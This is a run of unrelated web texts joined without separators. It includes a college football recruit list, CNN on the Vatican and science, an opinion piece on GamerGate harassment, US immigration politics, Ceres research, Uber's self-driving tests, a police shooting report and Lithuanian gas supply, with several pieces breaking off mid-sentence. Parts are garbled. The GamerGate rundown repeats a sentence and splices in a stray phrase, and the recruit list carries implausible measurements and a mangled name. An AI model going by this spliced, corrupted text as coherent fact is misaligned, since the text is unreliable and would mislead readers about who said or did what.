CB Raheem Layne 6-0.5, 183 lbs. (Sebastian, FL), ★★★ Raheem Layne made his announcement via Twitter on Monday January 30th, 2017. “Blessed to say I have officially committed to Indiana University ❗️ #GoHoosiers”. Layne is 3-star recruit, the Hoosiers 22nd commitment of 2017.
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ATH Juwan Burgess 6-0, 180 lbs. (Tampa, FL), ★★★
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ATH Bryant Fitzgerald 6-1, 200 lbs. (Avon, IN), ★★★
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LB De'morreal'mo' Burnam 6-2, 219 lbs. (Conyers, GA), ★★★
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DT LeShaun Minor 6-4, 293 lbs. (Indianapolis, IN), ★★★
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OT Caleb Jones 6-9, 355 lbs. (Indianapolis, IN), ★★★
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TE Peyton Hendershot 6-4, 227 lbs. (Lizton, IN), ★★★
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DE Alfred Bryant 6-3, 240 lbs. (Manvel, TX), ★★★
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TE Michael Ziemba 6-3, 245 lbs. (Lake Mary, FL), ★★★
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DE Britt Beery 6-0, 175 lbs. (Carmel, IN), ★★★
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WR De'Angelo 'Whop' Philyor 6-6, 250 lbs. (Tampa, FL), ★★★
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QB Nick Tronti 6-2, 210 lbs. (Ponte Vedra Beach, FL), ★★★ 2016 Florida Mr. Football; State Championship.
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CB LaDamion Hunt 6-0, |
if not the game – something that allows us to explore its world through other game mechanics, rather than mission bookends and (splendidly acted) cutscenes. If Bethesda and Splash Damage have a “where now” for this game then I hope that they realise that the world is their strongest asset, and they need to let us loose in it.
Ideas are cheap, but that doesn’t mean game worlds should be disposable.Story highlights The Vatican is urging a rethink of the "mischaracterization" of its relationship with science
Monsignor Tomasz Trafny says Catholics should feel they can embrace science
The Vatican is hosting a conference on stem cell research, beginning April 11
But a genetic scientist says some elements of Church teachings remain "unrealistic"
Dropping to his knees before the 10 cardinals of the Inquisition, dressed in the white shirt of penitence, Galileo Galilei was forced to retract his "heretic" theory that the Earth moved around the Sun. Threatened with torture and interrogated for 18 days, the scientist, who was imprisoned in the 17th century, promised to never again teach the theory and spent the rest of his life under house arrest in his small farmhouse outside of Florence.
Galileo's fate was very different from that of other scientists at the time of the Inquisition. Some were executed for threatening the church's teachings. Italian astronomer Giordano Bruno, an Italian philosopher who argued that the universe was infinite, was burned at the stake.
Now in 2013, as Pope Francis settles into his new role as leader of the Catholic Church, the Vatican's head of science is urging a re-think of the "mischaracterization" of the relationship between the church and science.
The Vatican would like the world to see how much this relationship has changed.
With the new pope being himself a trained scientist -- Francis graduated as a chemical technician before moving on to study philosophy, psychology and theology -- the timing could be right for a new era of cooperation between the Vatican and science, building on the work of the STOQ Project -- Science, Theology and the Ontological Quest -- which was created by Pope John Paul II in 2003.
Since his election as pontiff, Vatican-watchers have been searching for signals about the direction in which Francis will take the church. Even in his inaugural speech, he referenced the importance of environmental stewardship and an appreciation of the natural world:
"Let us be "protectors" of creation, protectors of God's plan inscribed in nature, protectors of one another and of the environment."
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According to Oxford University theologian Dr. William Carroll, Pope Francis' remarks suggest he may be planning to use his papacy to refocus the world's attention on tackling global warming and other environmental issues.
Embracing science
Monsignor Tomasz Trafny, the Director of the Vatican's Science and Faith Foundation, which was created last year, thinks that the new pope will continue the progress already made in building ties with the scientific community. He says the Vatican today has a very positive relationship with science.
"There was a time when theologians thought they understood everything, but we learned the lesson from history", he told CNN.
Acknowledging that the Galileo era was a dark period for the church, Trafny says that the modern-day Vatican is much more careful not to tread on the toes of science.
"If you look at what is going on today you will see that theologians are very careful about what they are thinking or speaking about related to scientific issues."
Trafny will co-host a conference focusing on adult stem cell therapies with the pharmaceutical company NeoStem at the Vatican on April 11, a project which the Vatican has partly funded.
This unusual marriage of church and biotech is a targeted public affairs initiative. The Vatican aims to use the partnership to show people there is an alternative to embryonic stem cell research - which it vehemently opposes - that doesn't involve the destruction of human embryos.
"We want to tell people that they can easily feel like good Catholics without any embarrassing situations or difficulties embracing science."
Taboos remain
But even some within the Vatican's own scientific community have concerns about the the church's firm stance on other matters. As well as embryonic stem cell research, the church, for instance, still rejects contraception, which is seen to interfere with God's will.
Dr. Werner Arber, the head of the Pontifical Academy of Sciences and a Nobel Prize-winning genetic scientist, says in some areas the Vatican's approach remains problematic. He works as an adviser to the Vatican on matters of scientific development and regularly provides recommendations on areas of overlap between science and faith.
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Speaking to CNN, Arber said that rather than dealing head on with conflicts between science and the Bible, scientists like him often had to avoid them:
"I don't propose certain topics which I consider taboo. Unless we are asked, we had better not mention them."
In particular, Arber is uncomfortable with the Vatican's insistence that condoms aren't the right way to prevent the spread of HIV/AIDS, which he says is "unrealistic." The church maintains that condoms promote promiscuity. Both the World Health Organization and the United Nations regard condoms as highly effective at preventing the spread of HIV/AIDS, which kills over a million people globally every year.
Arber euphemistically says he's hopeful that the new Pope Francis will help the church "move things forward" when it comes to tackling HIV/AIDS.
Sticking points
Jeremy Webb, editor-in-chief of New Scientist magazine, also hopes the Catholic Church under Pope Francis will make an exception to its stance on condom use to fight the global HIV/AIDS epidemic.
He says the speed at which new developments are emerging in the biological sciences is increasingly bringing about conflicts with the Vatican. In particular Webb sees this in relation to reproductive technologies -- such as in vitro fertilization (IVF), and egg and sperm donation -- all of which the church says are improper methods of procreation.
"The church is taking its viewpoint from 2,000-year-old teachings and trying to apply them to a modern world, which is delivering all sorts of moral dilemmas," he said to CNN.
Webb doubts there will be any significant change in the Vatican's fundamental attitude to contraception under Francis and believes this will remain a sticking point between the biological sciences and the church.
"Catholics believe that anything that threatens the sanctity of life - including contraception - is wrong. That is a barrier and it will always be a barrier."
There have been no signals yet as to whether Pope Francis will bring about a softening of the Vatican's stance on issues such as condom-use as means to prevent suffering and early death.
Werner Arber is optimistic that the Vatican will eventually catch up with the scientific evidence: "I have hope but - as with Galileo -- it will take a long time."#GamerGate: Is Their Hashtag Really More Important than Women's Lives?
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It took me a while to realize the massive implications of Gamer Gate. How terrifying it is. What it means for women online and in the gaming industry. And I feel terrible that it’s taken me this long to talk about it. The hashtag was first used Aug. 27. I looked back through my Twitter feed, and my first tweet about it wasn’t until Sept. 21. To find it, I scrolled past Janay Rice, #WhyIStayed, the first release of hacked celebrity photos, that New York Times “angry black woman” Shonda Rimes article and several other things because it’s been a garbage couple months to be a woman.
To be honest, I didn’t entirely understand what was going on. I’m not a gamer. Never have been. When I first learned of what was going on, I knew it was important for us to cover it, but I didn’t think I was the one to do it, so I asked my fellow writers if someone who was an active gamer could cover it and provide that insight. The ever-fantastic Steven Lloyd Wilson did so. He did what I didn’t understand and didn’t know how to talk about, and I’m thankful for that. But, despite the protests of many, this has almost nothing to do with video games. It’s much bigger than that.
Here’s a quick rundown of the biggest incidents:
Depression Quest. The blow-up began when Quinn’s ex-boyfriend posted a rant online saying that she’d slept with men in the industry to get good reviews. This lead to what many swear is a movement around ethics in video game reporting. She was then bombarded with death threats, harassing phone calls to her home and the homes of her family members and many gamers actively attempted to get her to commit suicide. The #GamerGate hashtag was first used by Adam Baldwin (of course) when posting a conspiracy video about Zoe Quinn, creator of. The blow-up began when Quinn’s ex-boyfriend posted a rant online saying that she’d slept with men in the industry to get good reviews. This lead to what many swear is a movement around ethics in video game reporting. She was then bombarded with death threats, harassing phone calls to her home and the homes of her family members and many gamers actively attempted to get her to commit suicide.
Then, after speaking out about the so-called “Quinnspiracy,” Feminist Frequency’s Anita Sarkeesian received death threats, forcing her to leave her home.
Finally, this past Saturday, Brianna Wu, developer of Revolution 60, received these and other death threats, forcing her too to leave her home.
Deadspin has a pretty comprehensive rundown of the key issues.
These and many other women in the industry have been threatened, harassed, and “doxxed” (had their personal information shared publically), the most intense of this harassment originating from 4chan and 8chan. Those who speak out have been gaslighted, and there have been concerted efforts to discredit them at every turn.
Time has clearly not cooled this issue. It has only intensified. They haven’t let up on Quinn at all…
…and just yesterday, an email was sent to Utah State University promising “the deadliest school shooting in American history” if the school didn’t cancel an event featuring Sarkeesian.
Sarkeesian actually wanted to go on. But, as Utah is an open-carry state, the school couldn’t perform pat downs or checks to prevent potentially dangerous attendees.
Every single thing about this is mindboggling and infuriating and incomprehensible. And, the worst part is there are those who will declare every item I’ve listed above, every life-altering horror, a victory. It is sickening. It is tragic. Someone might be killed over this.
This treatment of women, this villification of feminists, is in no way limited to the video game industry. This is a comment I got on a post about the celebrity nude photo hacking:
It’s not the worst comment I’ve ever received. Not by a long shot. But, compared to this kind of treatment, I’m grateful. I’m grateful for that shitty comment. This is not just shitty commenters and trolls. This is terrorism. Just like Steven said nearly two months ago, when I was too weak and unsure to say it myself.
There will be no getting through to the violent, terrible individuals making the threats against these women in the industry and the men who dare defend them. So, I appeal to you, the moderate middle of the movement and those on the fray who, like me, were unsure of the goings on. This movement, this falsely ethical witch hunt, it has nothing to offer you. Do not pretend, do not lie to yourself — this is not about ethical reporting. This is about putting women in their place, and apparently that place is the ground.
And if you are a woman in GG, I implore you to think about how your fellow GGers feel about women, about you at your core. The heart of this issue is not ethics. It’s that a woman’s sexual relationships are something she must be ashamed of, held accountable for, and punished over. Severely.
This community, perhaps it has given you acceptance and a place in this world, and I know how great that feels. Perhaps you believe this will lead to a true change and betterment of society. But you are on a side out to hurt, to maim — either emotionally, physically, or both. You are on a side that contains white supremacists and neo-Nazis. Don’t be on that side.
Whatever you are after here, whatever it is that appeals to you, is it worth the lives of these women? Of any woman or man who dares to speak out? Of their families and friends?
For way too many people, it is. And it has to stop.
AddThis Sharing 88.8K 190 SHARES Facebook Twitter MoreAcross the board, Houstonians are generally pretty happy with their neighborhoods, according to recently released data from the American Housing Survey. The majority of respondents across race and ethnicity ranked their neighborhoods either a six or higher when asked to rate their neighborhood on a one to 10 scale.
But they reported different experiences in those neighborhoods.
Article continues below chart.
While 16 percent of black survey respondents said their neighborhoods had a lot of serious crime, only five percent of white survey respondents said the same. In general, black and Hispanic residents reported higher rates of vandalized and abandoned buildings nearby, trash on their street and other quality of life concerns than white and Asian residents. The residents also answered survey questions about things like school quality, access to transit and community security.
The findings echo those of the most recent Kinder Houston Area Survey, which found that most Houstonians have positive economic outlooks and rate their quality of life high. According to that report, "38 percent of area residents in both 2015 and 2016, more than at any time in the past decade, asserted that living conditions in the Houston area have generally been “getting better” over the past 3 to 4 years." Still the usual frustrations remained: traffic, pollution and crime.Have a look at this gorgeous GT350 that is in full show ready car condition. Recently built by John Miller and restored by St. John's Auto Resurrection. The car was originally a Red 67' Ford Mustang 289 4-speed that got fully restored and enhanced into this modified Shelby GT350 Replica. The restoration included the kit from Mustang Unlimited, new floor pans, original doors and fenders, new Heidts front suspension, and more. The fine exterior body is finished with PPG Envirobase Waterborne Paints for both the black base coat, white stripes, and clear coat.Under the hood, you'll find a engine with enough rumble to get anyone excited. It is a 68' block with 69' Windsor 351 heads. A nice large cam, 30 over bore, and full balancing and blueprinting are some of the key points to this engine. After the headers, an Auger-styled muffler is in place to try and control this wicked sound however this car still packs a punch when you fire it up.Check out the pictures during the restoration here: http://stjohnsautoresurrection.com/ This car has moved less than 5 miles since it has undergone its restoration due to the fact that it has been trailered everywhere it goes. It entered into the 2013 Detroit Autorama Car show and took 3rd place for its class "Conservative Hardtop 1967-1969". We have a large folder with all the parts receipts from the entire vehicle rebuild. This is an absolutely stunning car with a very aggressive and head-turning rumble when you fire up that engine! You must come see this car in person.If Republicans didn’t know it before, they learned in the November elections how serious a problem they have in winning Latino voters. Republican presidential candidate Mitt Romney won only 27 percent of self-identified Latino voters, according to exit poll interviews.
Steve Pope / Getty Images Sen. Marco Rubio, R-Fla., speaks at a combination fundraiser and birthday party for Iowa Gov. Terry Branstad, on Nov. 17, 2012 in Altoona, Iowa.
As Republicans make their case to Latinos and with one prominent Latino Republican, Florida Sen. Marco Rubio, a possible contender for the 2016 presidential nomination, long-stalled measures to increase immigration and give legal status to people illegally in the United States will be on the congressional agenda in 2013.
On immigration, the lame-duck session of Congress is a time for political positioning and strategizing rather than legislating. Along with all his other strategic challenges, House Speaker John Boehner has to figure out just far he and a majority of his GOP members are willing to go on immigration and which of his members in the new Congress will need to be given a free pass on tough roll call votes so that they don’t get challenged by conservatives in Republican primaries in 2014.
Meanwhile this week Republican senators urged Senate Democratic leader Harry Reid to allow the Senate to vote on a bill passed by the House last week that would provide legal residency to more foreigners who have earned doctorates or master’s degrees in science, technology, engineering or math at U.S. universities. The House-passed bill, which won the support of 27 Democrats, would create new visa categories for 55,000 science, engineering and mathematics graduates of American universities and it would eliminate a visa lottery program designed to increase immigration from counties which traditionally haven’t been big sources of U.S. immigrants.
Sen., John Cornyn, R- Texas, told the Senate Wednesday that it makes no sense for the United States to not allow foreign scientists who get their Ph.D.’s at American universities to remain in this country to work. “We are cultivating human capital and then sending those individuals back home” to their countries of origin, when many of them would rather remain in America,” Cornyn said.
Rep. Luis Gutierrez, D-Ill., discusses the GOP's mean and sometimes nasty rhetoric towards Hispanics, how important immigration is to Latino voters, the meeting he's having with GOP lawmakers to discuss immigration reform and the need to do comprehensive reform now.
Romney made this same argument during his second debate with President Barack Obama, calling for giving legal permanent resident status “to people who graduate with skills that we need. People around the world with accredited degrees in science and math (ought to) get a green card stapled to their diploma, come to the U.S. of A. We should make sure our legal system works.”
But Clarissa Martinez de Castro, director of civic engagement and immigration at the National Council of La Raza, the nation’s largest Latino advocacy group, criticized the House bill as “trying to eviscerate one program to feed another – as opposed to trying to fix the entire system.”
The relative smallness of the number of visas in the House bill, 55,000, she said, “tells you right away that we’re just tinkering around the edges. What really is begging to be addressed here is making sure the system works.”
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She said the core of the immigration redesign next year will be “the legalization and path to citizenship for the people who are already in the country.” That makes sense, she said, because “you cannot build on a faulty foundation. And the reality is we have a number of people who have been in the country for a very long time. They are part of the workforce and it makes sense to figure out that piece and how the other pieces develop from that one.”
A leading Democrat on immigration policy, Sen. Charles Schumer of New York, told reporters at the Capitol Thursday, “The best way to go is a comprehensive package. What we’ve learned in the past is when you try to do it piecemeal, the pieces fall apart.”
Matt York / AP In this Nov. 6, 2012 file photo, Sen.-elect, current Rep. Jeff Flake, R-Ariz., waves during an election night party in Phoenix.
In the Senate next year, Republican senator-elect Jeff Flake of Arizona (one of the co-sponsors of immigration reform in 2006) and Sen. Mike Lee of Utah will likely be key GOP deal makers, as well as Sen. John McCain of Arizona and Sen. Lindsey Graham of South Carolina.
Ultimately members of Congress will need to grapple with a crucial policy question: what should be the balance between immigration based on family ties and immigration based on a person’s expertise, education, and training. Should the United States bring in more people with doctorates in biochemistry, for example, and fewer who happen to have a brother or other relative in the United States?
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What Romney tried to do during the campaign was to convey the idea that he was open to immigration but that it had to be done through legal means. Rubio repeated this theme Wednesday in remarks at a POLITICO breakfast. His party, Rubio said, had “allowed itself to be positioned as the anti-illegal (immigrant) party…. What we really need to be is the pro-legal (immigrant) party.”
At the center of Democratic initiatives on immigration for several years has been the DREAM Act, a bill offered by Sen. Dick Durbin, D- Ill., and others to allow illegal immigrants brought to the United States by their parents before age 16 to stay legally in the country. Durbin’s bill would require these people to earn a high school diploma, submit biometric data and undergo a law enforcement background check. His bill would allow such people to eventually apply for permanent legal residence and, after an additional three years, apply for citizenship.
When the Senate voted on the DREAM Act at the end of 2010, three Democrats who are all up for re-election in 2014, Sens. Max Baucus of Montana, Kay Hagan of North Carolina, and Mark Pryor of Arkansas, all voted against ending debate, supporting Republican efforts to kill the bill by means of filibuster. Two other Democrats, Sen. Jon Tester of Montana and Sen. Ben Nelson of Nebraska, also voted against cloture and the effort fell five votes short. (Nelson is retiring at the end of this year.)
The political calculus next year might be different if the DREAM Act provisions are embedded within a larger bill, perhaps one with incentives that could appeal to senators from conservative states such as Arkansas and Montana. In the immigration vote tally, both sides of the equation – Democrats and Republican – will be important.Retailers have blamed the weather, slow job growth and millennials for their poor results this past year, but a new study claims that more than 20 percent of Americans are simply too poor to shop.
These 26 million Americans are juggling two to three jobs, earning just around $27,000 a year and supporting two to four children — and exist largely under the radar, according to America’s Research Group, which has been tracking consumer shopping trends since 1979.
“The poorest Americans have stopped shopping, except for necessities,” said Britt Beemer, chairman of ARG.
Beemer has been tracking this subgroup for two years, ever since his weekly surveys of 15,000 consumers picked up that 21 percent of consumers did not finish their Christmas shopping in 2014 due to being too busy working. That number grew to 29 percent last year, and Beemer dug in to learn more about them, calling them on holidays.
He estimates that this group has swelled from 6 million households four years ago, because their incomes have not kept pace with expenses like medical costs.
Nearly half of all Americans have not seen an increase in salary over the last five to seven years, and another 28 percent have seen their take-home pay reduced by higher medical insurance deductions or switching to part-time jobs, ARG found.
“It’s scary when you start to see things that you’ve never seen before,” said Beemer. “People are so pessimistic about their future.”
Most of those living on the edge — 68 percent are women between the ages of 28 and 38 — work in retail or in call centers, according to Beemer.
Another sign that a chunk of the population has pulled back its spending is that discounters like Walmart and the Dollar Store have been “holding their own,” said Richard Church, managing director of Discern Securities.Gleaming patches captured by Nasa’s Dawn space probe appeared to have been explained in December, but a new study suggests there is more to decipher
The mystery of Ceres’s bright spots has deepened, scientists reveal.
A dwarf planet measuring 950 km in diameter, Ceres is the largest object in the asteroid belt - a disc of rocky objects that sits between the orbits of Mars and Jupiter. Its gleaming patches were captured by Nasa’s Dawn space probe as it hurtled towards the dwarf planet last year, leading to a scramble within scientific circles to explain the phenomenon.
But the mystery appeared to have been solved when, in December last year, a team of researchers reported that they had found evidence that the bright patches on the dwarf planet are formed from hydrated magnesium sulphate. Further, a haze observed within the 90km-wide Occator crater was thought to be down to dust, ice particles and water vapour produced when the sun’s rays hit the surface of Ceres, warming a layer of ice beneath. This haze was been found to be present at the dwarf planet’s noon but not at its dusk - an effect that ties in with exposure to solar radiation.
But new research suggests there might be more to the mystery. Using data from the High Accuracy Radial velocity Planet Searcher (Harps) spectrograph at the European Southern Observatory in Chile, a team of scientists have followed Ceres as it spins on its axis, monitoring the spectrum of the light reflected by the dwarf planet on the 31st July 2015 and again on the 26-27 August.
In a paper published in the Monthly Notices of the Royal Astronomical Society, the team reveal that while they saw evidence that crater brightened and dimmed on 31st July - an effect thought to be down to reflections from changing levels of haze - they saw no change during their August observations.
According to Dr Paolo Molaro of the Trieste Astronomical Observatory, an author of the new study, the fact that reflections from the Occator crater were much reduced in August could suggest that the layer beneath the crater’s surface is not replenished in a continuous process. But Molaro is quick to point out that further studies will be needed to confirm his suspicions. “These are all speculations for the moment,” he warns.More than 100 Irish soldiers have been deployed for a six-month stint in the Golan Heights in war-torn Syria.
The troops from the 43rd Infantry Group of the Irish Defence Forces will form part of a UN peacekeeping mission on the heavily-fortified border between Syria and Israel.
They will join units from Fiji, India and the Philippines as part of the UN’s disengagement observation force (UNDOF), maintaining an area of separation between the two countries.
“Helping to maintain the 40-year-old ceasefire between Israel and Syria represents an important contribution to preventing further instability in this most troubled region, particularly at this time of significant conflict in Syria,” said Minister for Defence Alan Shatter.
The UN monitoring operation at the Golan Heights has been ongoing since 1974. Irish Defence Forces will not be involved in the ongoing Syrian civil war.
The deployment was approved by the Government in July after a number of countries including Japan and Austria withdrew troops because of the deteriorating situation in war-torn Syria.
Most of the Irish soldiers flew out from Casement Aerodrome, Baldonnel, to Beirut, Lebanon, on Friday.
At first light yesterday, the contingent of 89 personnel moved through Lebanon and Syria in an armed convoy.
They arrived at the Camp Faouar headquarters on the Golan Heights last night and joined an advance party of 26 soldiers who had deployed to Syria on September 21st.
Mr Shatter added: “The successful deployment of the contingent today represents the completion of the full deployment of the Defence Forces in Golan and will help reinforce UNDOF and secure the mission in undertaking its difficult but important role in the Golan Heights.
“I would like to take this opportunity to wish them well on their tour of duty.”
The soldiers had been due to deploy three weeks ago but were delayed at the request of the UN for administrative reasons.
Separately, Mr Shatter welcomed the unanimous adoption of the UN Security Council resolution on the destruction of Syria’s chemical weapons.
“The destruction of these heinous weapons is a vital step forward in supporting peace and security in the region, and represents a welcome confirmation of the important role which the UN plays in ensuring collective security across the globe,” he said.
“What we now need is a real effort to deliver peace and security to the people of Syria and an end to the current conflict there.”An Uber self-driving car was involved in an accident in Tempe, Arizona. Fresco News/ Mark Beach
Uber is resuming its self-driving-car pilot programs in Pittsburgh and Arizona beginning Monday afternoon. The programs were temporarily suspended after one of its vehicles was involved in an accident while operating in self-driving mode late Friday night.
One of Uber's self-driving Volvo SUVs flipped onto its side after an accident in Tempe, Arizona. A photo of the scene showed another car in the background with dents and smashed windows.
A Tempe police spokeswoman told Business Insider that the Uber vehicle was not responsible for the crash and that there were no injuries. The other car involved in the crash was cited for a moving violation.
Following the accident, Uber suspended its self-driving-car tests in all three of the company's testing areas: Pittsburgh, San Francisco, and Arizona. Uber lifted its San Francisco suspension on Monday morning and later resumed tests in the other cites as well.
Uber hasn't used its self-driving cars in San Francisco to pick up passengers; the company is using its two vehicles there for mapping purposes, and they are being driven manually.
Fresco News/Mark Beach
Uber launched its self-driving-car tests in Pittsburgh in September. Since then, the ride-hailing service has been picking up passengers in Ford Fusion cars retrofitted with Uber's driverless tech.
Uber attempted to launch a second self-driving-car program in San Francisco in mid-December but ran into issues with the California DMV. It had failed to obtain an autonomous-vehicle license before the launch, which led the DMV to revoke the registrations of the company's 16 autonomous vehicles. Uber had been planning to use its self-driving Volvo XC90 SUVs for that program.
Uber then shipped its autonomous SUVs to Arizona on the back of one of its self-driving trucks.
The company tested its self-driving cars in California for just a week before moving them to Arizona. During that week, however, one of the cars was caught on video running a red light at a busy intersection.
An Uber representative said at the time that the incident was due to human error, but employees told The New York Times the car had been driving itself.
Since late January, Uber has been using two Ford Fusions with autonomous technology to map routes in San Francisco, but the cars have not been driving themselves. The cars will resume on Monday.
Company scrutiny
Uber CEO Travis Kalanick. Chris Ratcliffe/Bloomberg via Getty Images
Uber is under intense scrutiny after a string of scandals.
The ride-hailing service is involved in a lawsuit over its self-driving technology.
Waymo, Alphabet's self-driving-car company, is accusing Uber of stealing the designs for its lidar system, a key sensor that helps autonomous cars detect obstacles. Waymo filed an injunction asking a federal judge to freeze Uber's use of its self-driving tech.
Uber has also been accused of promoting a sexist workplace. Susan Fowler, a former engineer, published a blog post in February about harassment and gender bias she said she experienced at the company.
Shortly after, The Times published a bombshell report detailing a company retreat at which a manager groped several female employees. The manager was later fired, according to the report.
Uber also used a tool called Greyball to evade government officials and regulators who were trying to block the ride-hailing service, according to another Times report.
This story was updated Monday afternoon when Uber lifted its suspension for all self-driving-car tests.Current policies among the world's richest 20 nations will result in $546bn (£348bn) less being invested in clean energy by 2020 than is needed to prevent dangerous climate change, according to a new report.
The report also predicts that the UK will become a much more significant investor in green technology globally, increasing its spending by 260% over the next decade. But despite this boost to renewable energy and other green industries, the authors believe that India will nudge ahead of the UK into third place by 2020.
On a business-as-usual basis, $1.7 trillion (£1.08tn) would be invested globally in renewables like solar and wind, biomass and other low-carbon forms of electricity generation over the next decade.
According to a report carried out by Bloomberg New Energy Finance for Pew Charitable Trusts, this would still be $546bn short of the investment which more proactive government policies on climate change by the G20 countries would bring about globally. "Enhanced" policies such as fixing a price on carbon and tough restrictions on power stations' emissions are seen as key to restricting a rise in temperatures to no more than 2C.
The report shows how much money Asian countries – particularly China and India – are expected to pour into clean energy regardless of what policies are adopted. Under the "enhanced policy scenario", China, which last year became the world's biggest investor in clean energy, is expected to triple spending over the next decade to over $90bn (£57bn) per year by 2020, with more than half going on wind power. Chinese spending is forecast to be almost twice that of the second biggest spender, the US. Mature markets where renewables have enjoyed significant investment for some time, such as Germany, are expected to see investment levels decline over the decade.
The UK is set to keep up with soaring investment, having traditionally lagged its continental counterparts despite its ample wind and marine energy potential. Stronger government support has belatedly kick-started investment in green technology, catapulting the UK to the world's third biggest spender on renewable energy last year thanks to a surge in financing for North Sea offshore windfarms. Under the enhanced policy scenario, annual investment could grow by 260% by 2020 according to the report, with a total of $134bn being spent over the decade and $22bn in the year 2020.
Even so, the UK will be overtaken by India by 2020, which was ranked 10th last year but is forecast to rise to third by the end of the decade, behind China and the US, making it the world's faster growing spender. The UK would be pushed back to fourth place in all three scenarios – based on existing policies, implementing pledges committed to at the Copenhagen summit last year and enhanced policies.CLOSE Ironically, during defense lawyers Stephen Gutierrez’s closing argument in an arson case, smoke began billowing out of his pants. Josh King has the story (@abridgetoland). Buzz60
Prosecutors are considering charging Stephen Gutierrez with contempt of court, according to one report. (Photo11: H. Darr Beiser, USA TODAY)
Lawyer, lawyer, pants on fire.
Jurors trying to assess the truthfulness of defense lawyer Stephen Gutierrez's closing arguments in an arson trial Wednesday may have been dismayed to notice that his pants were literally on fire. Witnesses say the lawyer had to flee the Miami courtroom with smoke billowing from his pocket, the Miami Herald reports. When he returned, the lawyer, who'd been seen fiddling in his pocket, blamed a faulty e-cigarette battery. Gutierrez said the bizarre pocket blaze wasn't an attempt to demonstrate the innocence of his client, who was accused of setting his own car on fire. Gutierrez argued that the vehicle spontaneously combusted.
The jury found his client guilty of second-degree arson, and prosecutors are considering charging Gutierrez with contempt of court, the Herald reports. The bizarre incident already is making headlines in lawyer blogs and overseas newspapers. "I swear this is not a lawyer joke," was the NPR intro to the nugget. And CNET notes that the lawyer has declined to respond to the media's requests for comment, which "leaves several burning questions unanswered." (The owner of this Jeep can probably sympathize.)
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On September 10th, 22-year-old Darrien Hunt was shot and killed by two police officers in Saratoga Springs, UT. The county attorney’s office has claimed that police were forced to shoot Hunt due to him lunging at the officers with a large samurai sword. However, Hunt’s family had a private autopsy performed, and it reveals that Hunt was hit six times with bullets, all from the rear. Also, the fatal shot hit him 100 yards from where he initially was in contact with the officers. Witness accounts from the scene also report that Hunt was running away from officers and none report seeing him go after the police with his sword.
Witnesses at the scene took photos of the encounter. A woman who was at a nearby gas station and snapped a picture of Hunt speaking to the police prior to the shooting. Per the photo, Hunt and the officers are calm with their arms at their sides. She said that a few seconds later, while she was pumping her gas, Hunt was running from the police and they were shooting at him. Hunt was finally brought down with a shot to the back about 100 to 150 yards away from where he was first speaking to police.
Saratoga Springs is an affluent suburban community that is about a half-hour’s drive from Salt Lake City. Racially, the town is overwhelmingly white, with less than 5% of the population being non-white. Hunt was half-black, having a white mother and a black father. He stood out in the community not only due to his color, but also his large af |
Indiana high school's live theater performance of the nativity.
The judge says the show at Elkhart, Indiana is an endorsement of religion. The ruling comes following a complaint issued by the Freedom From Religion foundation and the American Civil Liberties Union on behalf of a student and his father.
Most parents from the school say people are becoming too easily offended, and cancelling a performance like this only serves to build on that perception.
"If this father and son feel offended by it, they should just not participate and not be around it," said Catherine Kitelinger, parent of a student attending the school. "They already put so much time into it and everything they should still be able to do it."
Other parents took to Facebook to show support for the decision, saying performances like these should be done after school hours and off school grounds.One of the survivors of the Aurora shootings was Carli Richards — pictures of her wounds (warning: graphic) made the rounds in the days following the tragedy. Unlike some of the other first-hand accounts of survival, Carli’s may be unique because she’s an atheist (who has a Scarlet A tattoo near her left shoulder).
She offers her own account of what happened here and granted an interview to Secular Woman:
I almost gave thought to praying in the ambulance that night, because that was when the real seriousness of the situation hit me — however, the medical staff whose care I was placed under took such good care of me. I was under the care of such competent, caring beings, that there was no need to do such a thing. I remember being in so much pain and shock that I was delirious, but at some point I was thanking them profusely. It wasn’t a higher power that got me out of my seat — it was the smell of the tear gas that landed at my feet. It was my boyfriend, Chris, who got me to the police officer who flagged down an ambulance for me. And it was the amazing medical staff who took care of me to ensure that I left the hospital in the best possible condition. I don’t want to put down the power of positivity, and that’s what I feel prayer is — positive vibes being sent your way- but I do like to give credit where it is due, and express my extreme gratitude towards all of these people, and also to my parents for bringing me up “right”.
If you’d like to help Carli cover her medical bills, you can donate here.Iran’s Foreign Minister Mohammad Javad Zarif and the European Union’s Foreign Policy Chief Federica Mogherini are among top contenders for this year’s Nobel Peace Prize which will be announced later this week.
Zarif and Mogherini led the Iran nuclear deal negotiations that resulted in the signing of an agreement between Tehran and the P5+1 group of states – the US, Russia, France, the UK plus Germany.
Henrik Urdal, the head of the Peace Research Institute of Oslo (PRIO), which makes a shortlist each year with mixed results, has described the two as strong contenders this year.
According to Urdal, the two are the best candidates because of their significant role in the negotiation process that led to the deal, which has been praised worldwide as a victory for international teamwork and diplomacy.
This is while U.S. President Donald Trump has been constantly threatening to scrap the deal since he assumed office.
The agreement, officially known as the Joint Comprehensive Plan of Action (JCPOA), removed the nuclear-related sanctions against Tehran in return for some restrictions on Iranian nuclear activities.
Israel and the Trump administration are the only critics of the deal.
During his UN speech last month, Trump said the JCPOA was an “embarrassment” for the U.S. and threatened to withdraw from the accord.OSLO (Reuters) - Lithuania will be able to survive without Russian gas after its liquefied natural gas (LNG) terminal starts up soon, redrawing the energy map for the Baltic states, President Dalia Grybauskaite said on Tuesday.
The floating LNG import terminal at the port of Klaipeda is planned to open on Oct. 27, ending the supply monopoly of Russia’s Gazprom (GAZP.MM) and isolation from global gas markets. Commercial deliveries are due to start after the terminal’s testing in the beginning of 2015.
Importing super-cooled gas by tankers will not only ensure Lithuania’s energy security, but transform relations with its former Soviet master, Russia, Grybauskaite told Reuters in an interview.
“For us this would give a lot of leverage and freedom in decision making... Nobody will be able to blackmail or force us to pay the political price,” she said from her office in Vilnius. “And this is the best result.”
Lithuania will be able to meet all the gas needs of its 3 million citizens, and also supply LNG to Baltic neighbors Latvia and Estonia.
“We will have no dependence on Gazprom supplies. In the case of gas supply disruptions, our terminal can serve and fulfill about 90 percent of the three Baltic states’ gas supply needs,” Grybauskaite said.
The terminal will have a capacity to supply 4 billion cubic meters (bcm) per year compared to less than 5 bcm of total consumption of the three Baltic states. To supply them, Lithuania needs to upgrade its pipelines to Latvia, which is expected to be done by end-2015.
Initially, Lithuania plans to buy 0.54 bcm of gas per year, enough to cover about a quarter of the its gas needs, from Norway’s Statoil STL.OL.
Its long-term gas supply contract with Gazprom expires at the end of 2015.
“We will have an agreement with Gazprom only if they change the price formula, if it will be a spot price and if they participate equally with others in the gas market,” Grybauskaite said.
Should Gazprom cut supplies, Lithuania will look to buy more LNG cargoes on the spot market, and had a month-long reserves at Latvia’s Incukalns underground gas storage, Grybauskaite said.
